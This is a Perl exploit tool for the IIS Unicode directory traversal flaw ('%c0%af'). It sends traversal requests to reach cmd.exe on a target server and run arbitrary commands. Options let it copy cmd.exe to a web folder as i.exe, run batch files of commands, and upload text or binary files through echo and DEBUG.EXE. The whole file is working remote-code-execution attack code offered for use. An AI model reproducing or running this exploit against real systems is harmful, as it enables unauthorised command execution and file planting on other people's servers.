#!/usr/bin/perl                    
#                                   #
#####################################
#                                   #
# IIS% found by anonymous           #
# Creds to Pär Österman, RFP        #
#                                   #
#####################################
#                                   #
# Coded by ian.vitek@ixsecurity.com #
  $version="3.02";                  #
#                                   #
#####################################
$|=1;
use Socket;
require 'getopts.pl';

# Add IIS directories here
@dirs=( "/msadc",
        "/_vti_bin",
        "/scripts",
        "/_mem_bin",
        "/Sites",
        "/SiteServer",
        "/_vti_cnf",
        "/_vti_script",
        "/adsamples",
        "/iissamples",
        "/iisadmpwd",
        "/iishelp",
        "/advworks",
        "/News",
        "/Mail",
        "/cgi-bin",
        "/PBServer",
        "/Rpc",
        "" );

$cached=0;
$hit=0;
$retry=0;

# Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
  my ($pstr)=@_;
  if ($opt_S) {
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");

        # connect socket
        if(connect(S,sockaddr_in($port,$target))) {
            select(S);  $|=1;

            $ctx = Net::SSLeay::CTX_new() or die("Failed to create SSL_CTX\n$!\n");
            $ssl = Net::SSLeay::new($ctx) or die("Failed to create SSL\n$!\n");
            Net::SSLeay::set_fd($ssl, fileno(S));   # Must use fileno
            $res = Net::SSLeay::connect($ssl) or die("Failed to handshake SSL\n$!\n");
            $res = Net::SSLeay::write($ssl, $pstr);
            my @in;
            $rdata = "";
            while($rdata = Net::SSLeay::read($ssl)) { push @in, $rdata; }
            # close down socket
            Net::SSLeay::free ($ssl);               # Tear down connection
            Net::SSLeay::CTX_free ($ctx);
            select(STDOUT); close(S);
            print @in if($opt_d);
            return @in;
        } else { die("Can't connect...\n"); }
  } else {
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);
                $|=1;
                print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT);
                close(S);
                return @in;
        } else { die("Can't connect...\n"); }
  }
}

# Check if cached
sub checkcache {
  $ip=$_[0];
  $dtmp1="";
  open(CACHE,"$0.cache");
  while(<CACHE>) {
    chomp;
    ($ip,$dtmp2)=/^(\S+)\s+(\/.+)$/;
    if( $ip eq $opt_s) {
      $dtmp1=$dtmp2;
      last;
    }
  }
  close(CACHE);
  return($dtmp1);
}

sub testdirs {
    $expl=$_[0];
    foreach $tryDir (@dirs) {
      # Form request
      @res=sendraw("GET $tryDir$expl HTTP/1.0\n$httphost\n");
      # So, what did we get?
      $status=shift @res;
      if($status !~ /^HTTP\S+\s(4|50[^2])/i) {
        die "Hmm... No data. Maybe reverse proxy. Try -H\n" if($status !~ /\w+/ && $res[1] !~ /\w+/);
        open(CACHE,">>$0.cache");
        print CACHE "$opt_s $tryDir\n";
        close(CACHE);
        print "\nhttp://$target$tryDir\n" if($opt_v);
        print "\n@res\n" if(!$opt_x);
        $hit=1;
        last;
      } else {
        print "." if(!$opt_v && !$opt_d);
        print "$status\n" if($opt_v);
        print "$status\n@res\n" if($opt_d);
      }
    # Reset rerty count and try next directory
    $retry=0;
    }
    die " No web directories found on system disk\n" if(! $hit);
}

sub knowdir {
    $expl=$_[0];
    @res=sendraw("GET $cachedir$expl HTTP/1.0\n$httphost\n");
    $status=shift @res;
    print "$status\n" if($opt_v);
    print "@res\n";
}

sub nknowdir {
    $expl=$_[0];
    @res=sendraw("GET $cachedir$expl HTTP/1.0\n$httphost\n");
    $status=shift @res;
    print "$status\n" if($opt_v);
    print "." if(!$opt_v);
}

Getopts('s:hc:C:vdp:SxX:u:U:f:F:l:r:H:');
die "\nTest IIS '%c0%af' vuln. Version $version by Ian Vitek ian.vitek\@ixsecurity.com\
* iXsecurity (formerly Infosec) is hiring in Sweden and United Kingdom   *\
* Mail to: christer.stafferod\@ixsecurity.com.                            *\
\
usage: $0 -s <host> [options] [-c || -C || -x]\
\t-s <host>     Host with IIS 4.0 or 5.0\
\t-c <command>  \\winnt\\system32\\cmd.exe?/c+<command>\
\t              (def: \"dir c:\\ /a\")\
\t-C <command>  \$VULNDIR/i.exe?/c+<command>\
\t-p <port>     Port (Def: 80)\
\t-S            SSL mode\
\t-f <vulndir>  Force \$VULNDIR to <vulndir>\
\t              (If you wanna run (-r) things from web disk)\
\t-F <Unicode>  \"/\" in unicode (Def: %c0%af)\
\t              (Try unicode %255c if default fails)\
\t-H <host>     Send Host: host\
\t              (Used when several hosts are on same IP:PORT)\
\t-v            Verbose\
\t-d            Debug\
\t-x            eXploit host by copying cmd.exe to \$VULNDIR/i.exe\
\t-X <batch>    Run commands in batch file with \$VULNDIR/i.exe?/c\
\t-u <textfile> Upload <textfile> with \$VULNDIR/i.exe?/c\
\t              (Workes fine with SSI pages)\
\t-U <binfile>  Upload <binfile> with \$VULNDIR/i.exe?/c and DEBUG.EXE\
\t              <binfile> may not contain \\x1A\
\t              (Copies DEBUG.EXE to \$VULNDIR/d.exe)\
\t              (Not fully implemented! Do not use!)\
\t-r <exe>      Run command (full path with \"/\" and exe)\
\t              (exe need to be on \$VULNDIR disk)\
\t-l <location> Directory for uploaded file\
\t              (Usage: -l dir\\ or -l \"dir\\\\\")\
\t-h            This help\n\n" if ( $opt_h || ! $opt_s || ($opt_c && $opt_C) );

$opt_F="%c0%af" if(!$opt_F);
$opt_c="dir c:\\ /a" if(!$opt_c && !$opt_C);
$explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..${opt_F}winnt/system32/cmd.exe?/c+$opt_c" if ($opt_c);
$explstr="/i.exe?/c+$opt_C" if($opt_C);
$explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..${opt_F}winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\cmd.exe+i.exe" if ($opt_x);
$explstr=~s/ /+/g;
$opt_l.="\\" if($opt_l!~/\\$/ && $opt_l);
$opt_p=443 if(!$opt_p && $opt_S);
$opt_p=80 if(!$opt_p);
$port=$opt_p;
$target=inet_aton($opt_s);
$httphost="Host: $opt_H\n" if($opt_H);
$httphost="Host: $opt_s\n" if(!$httphost);
if($opt_S) {
  require Net::SSLeay;
  Net::SSLeay::load_error_strings();
  Net::SSLeay::SSLeay_add_ssl_algorithms();
  Net::SSLeay::randomize();
}

if(!$opt_f) {
  $cachedir=&checkcache($target);
} else {
  $cachedir=$opt_f;
}

if(! ($opt_X || $opt_u || $opt_U || $opt_r)) {
  if(!$cachedir) {
    &testdirs($explstr);
  } else {
    &knowdir($explstr);
  }
}

if($opt_r) {
  $opt_r=~s/ /?/;
  $explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..$opt_r";
  $explstr=~s/ /+/g;
  &knowdir($explstr);
}


if($opt_X) {
  die "Need to have \$VULNDIR in cache.\nRun \"$0 -s $opt_s -x\" first.\n" if(!$cachedir);
  @commands="";
  open(BATCH,"$opt_X") or die "Can\'t open batch file \"$opt_X\"\n$!\n";
  while(<BATCH>) {
    chomp;
    push(@commands,$_);
  }
  close(BATCH);
  foreach $command (@commands) {
    $explstr="/i.exe?/c+$command";
    $explstr=~s/ /+/g;
    &knowdir($explstr);
  }  
}

if($opt_u) {
  die "Need to have \$VULNDIR in cache.\nRun \"$0 -s $opt_s -x\" first.\n" if(!$cachedir);
  open(UFILE,"$opt_u") or die "Can\'t open upload file \"$opt_u\"\n$!\n";
  $explstr="/i.exe?/c+del+$opt_l$opt_u";
  $explstr=~s/ /+/g;
  print "Rows uploaded:     ";
  &nknowdir($explstr);
  $rows=0;
  while($line=<UFILE>) {
  chomp $line;
  $escape=0;
  $eline="";
  $line=~s:(.):
    $char=$1;
    $escape^=1 if($char eq "\"");
    if($char=~/[<|>&]/ && ! $escape) {
      $eline.="^$char";
    } else {
      $eline.="$char";
    }
  :ge;

  $eline=~s/\%/\%25/g;
  $eline=~s/&/\%26/g;
  $eline=~s/\+/\%2b/g;
  $eline=~s/=/\%3d/g;
  $eline=~s/cmd.exe/cmd/g;

  $eline.=" " if($eline=~/\s\d$/);
  if($eline=~/^\s*$/) {
    $explstr="/i.exe?/c+echo.+>>$opt_l$opt_u";
  } else {
    $explstr="/i.exe?/c+echo+$eline>>$opt_l$opt_u";
  }
  $explstr=~s/ /+/g;
    &nknowdir($explstr);
    $rows++;
    printf("\b\b\b\b\b\b%-5d",$rows);
  }
  print "done\n";
}  

if($opt_U) {
  die "Need to have \$VULNDIR in cache.\nRun \"$0 -s $opt_s -x\" first.\n" if(!$cachedir);
  open(UFILE,"$opt_U") or die "Can\'t open upload file \"$opt_U\"\n$!\n";
  
  print "Untested code. Can you run DEBUG.EXE from \$VULNDIR?\n";
  print "Probably not... Please use -v to check. Well, here we go:\n";
  print "Init";

  # Where can you run d.exe?
  $explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..${opt_F}winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\debug.exe+d.exe";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  print "uploading debug scr file (Bytes):";
  $opt_U=~/^([^\.]+)/;
  $tmpfile=$1 . ".scr";
  $explstr="/i.exe?/c+echo+n+$opt_l$opt_U>$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  $explstr="/i.exe?/c+echo+a>>$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  $n=0;
  print "        ";
  binmode(UFILE);
  while( $tn=read(UFILE,$indata,16) ) {
    $indata=~s/(.)/sprintf("%02x,",ord $1)/seg;
    chop($indata);
    $explstr="/i.exe?/c+echo+db+$indata>>$opt_l$tmpfile";
    $explstr=~s/ /+/g;
    $n+=$tn;
    &nknowdir($explstr);
    printf("\b\b\b\b\b\b\b\b\b\b\b %-9d",$n);
  }

  $explstr="/i.exe?/c+echo+\x03>>$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  $explstr="/i.exe?/c+echo+rcx>>$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);
  
  $hn=sprintf("%02x",$n);
  $explstr="/i.exe?/c+echo+$hn>>$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  $explstr="/i.exe?/c+echo+w>>$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  $explstr="/i.exe?/c+echo+q>>$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  print "\b\b\b\b\b done. Trying to run d.exe\n";
  $explstr="/d.exe?<$opt_l$tmpfile";
  $explstr=~s/ /+/g;
  &nknowdir($explstr);

  if(! $opt_d) {
    print "\bCleaning";
    $explstr="/i.exe?/c+del+$opt_l$tmpfile";
    $explstr=~s/ /+/g;
    &nknowdir($explstr);
    print "\n";
  } else {
    print "\b$tmpfile left for debuging\n";
  }
}  


